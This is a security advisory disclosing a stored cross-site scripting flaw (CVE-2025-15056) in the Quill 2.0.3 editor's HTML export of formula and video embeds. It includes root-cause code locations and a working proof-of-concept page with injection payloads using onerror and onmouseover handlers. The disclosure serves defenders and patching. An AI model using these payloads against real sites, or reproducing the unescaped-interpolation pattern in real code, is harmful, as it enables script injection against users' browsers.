

Advisories

Quill 2.0.3 - Lack of data validation in HTML export allowing XSS

5,1

Medium

5,1

Medium

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

Quill 2.0.3 - Lack of data validation in HTML export using formula or video formats allowing XSS

Code name

diomedes

State

Public

Release date

13 de jan. de 2026

Affected product

Quill

Vendor

Slab

Affected version(s)

2.0.3

Package manager

npm

Vulnerability name

Lack of data validation - Special Characters

Vulnerability type

340. Lack of data validation - Special Characters

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:N/SI:L/SA:N

CVSS v4.0 base score

5.1

Exploit available

CVE ID(s)

CVE-2025-15056

Description

Quill 2.0.3 contains a lack of data validation vulnerability in the HTML export feature. The formula and video embeds return HTML strings via html() without escaping user-controlled values. When applications use getSemanticHTML() (or getHTML()) and render the output as HTML, an attacker can inject arbitrary attributes or markup, leading to script execution in the victim’s browser. This affects common “export HTML → store → render” workflows and requires sanitization or escaping of embed values.

Vulnerability

Root cause: embed blots interpolate user-controlled values directly into HTML strings returned by html() without escaping or sanitization.
Code Location:
- Vulnerable export path: packages/quill/src/core/editor.ts — convertHTML() uses blot-provided HTML if html() exists.
- Vulnerable blots:
  - packages/quill/src/formats/formula.ts — html() returns <span>${formula}</span> (unescaped).
  - packages/quill/src/formats/video.ts — html() returns <a href="${video}">${video}</a> (unescaped).

The formula and video values are controlled by user input. Because html() returns a string built by simple string interpolation, a value containing quotes or closing tags (e.g., </span><img src=x onerror=alert(1)>) will produce output that breaks the expected markup and injects an element with an event handler or other malicious attributes.

PoC

Host the following html in a web server.
<!doctype html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1" /> <title>Quill Forum Comments PoC</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.snow.css" /> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.css" /> <style> body { font-family: Arial, sans-serif; margin: 24px; background: #f7f7f9; } .container { max-width: 900px; margin: 0 auto; } .card { background: #fff; border: 1px solid #ddd; border-radius: 8px; padding: 16px; margin-bottom: 16px; } #editor { height: 160px; } .actions { display: flex; gap: 8px; margin-top: 12px; } .comment { border-top: 1px solid #eee; padding: 12px 0; } .comment:first-child { border-top: none; } .meta { font-size: 12px; color: #666; margin-bottom: 6px; } .hint { color: #444; } code { background: #f1f1f1; padding: 2px 4px; } </style> </head> <body> <div class="container"> <h1>Forum Comments (Quill PoC)</h1> <p class="hint"> Normal user flow: write a comment, click Post. The app stores HTML and renders it. Try these: </p> <p class="hint"> Formula: <code></span><img src=x onerror=alert(1)></code> Video: <code>https://example.com" onmouseover="alert(1)</code> </p> <div class="card"> <div id="toolbar"> <span class="ql-formats"> <select class="ql-font"></select> <select class="ql-size"></select> </span> <span class="ql-formats"> <button class="ql-bold"></button> <button class="ql-italic"></button> <button class="ql-underline"></button> <button class="ql-strike"></button> </span> <span class="ql-formats"> <select class="ql-color"></select> <select class="ql-background"></select> </span> <span class="ql-formats"> <button class="ql-script" value="sub"></button> <button class="ql-script" value="super"></button> </span> <span class="ql-formats"> <button class="ql-header" value="1"></button> <button class="ql-header" value="2"></button> <button class="ql-blockquote"></button> <button class="ql-code-block"></button> </span> <span class="ql-formats"> <button class="ql-list" value="ordered"></button> <button class="ql-list" value="bullet"></button> <button class="ql-indent" value="-1"></button> <button class="ql-indent" value="+1"></button> </span> <span class="ql-formats"> <select class="ql-align"></select> </span> <span class="ql-formats"> <button class="ql-link"></button> <button class="ql-image"></button> <button class="ql-video"></button> <button class="ql-formula"></button> </span> <span class="ql-formats"> <button class="ql-clean"></button> </span> </div> <div id="editor"></div> <div class="actions"> <button id="post">Post Comment</button> <button id="clear">Clear</button> </div> </div> <div class="card"> <h2>Comments</h2> <div id="comments"></div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/katex@0.16.9/dist/katex.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/quill@2.0.3/dist/quill.js"></script> <script> const quill = new Quill('#editor', { theme: 'snow', modules: { toolbar: '#toolbar' }, }); const comments = []; const renderComments = () => { const container = document.getElementById('comments'); container.innerHTML = ''; comments.forEach((comment, index) => { const wrapper = document.createElement('div'); wrapper.className = 'comment'; const meta = document.createElement('div'); meta.className = 'meta'; meta.textContent = `User #${comment.user} · ${comment.time}`; const body = document.createElement('div'); // Vulnerable render for PoC: rendering exported HTML directly body.innerHTML = comment.html; wrapper.appendChild(meta); wrapper.appendChild(body); container.appendChild(wrapper); }); }; document.getElementById('post').addEventListener('click', () => { const html = quill.getSemanticHTML(); comments.unshift({ user: Math.floor(Math.random() * 1000), time: new Date().toLocaleString(), html, }); renderComments(); quill.setContents([]); }); document.getElementById('clear').addEventListener('click', () => { quill.setContents([]); }); </script> </body> </html>

Evidence of Exploitation

Our security policy

We have reserved the ID CVE-2025-15056 to refer to this issue from now on.

Disclosure policy

System Information

quill
Version 2.0.3
Operating System: Any

References

Github Repository: https://github.com/slab/quill

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Timeline



19 de dez. de 2025

Vulnerability discovered



23 de dez. de 2025

Vendor contacted



13 de jan. de 2026

Public disclosure

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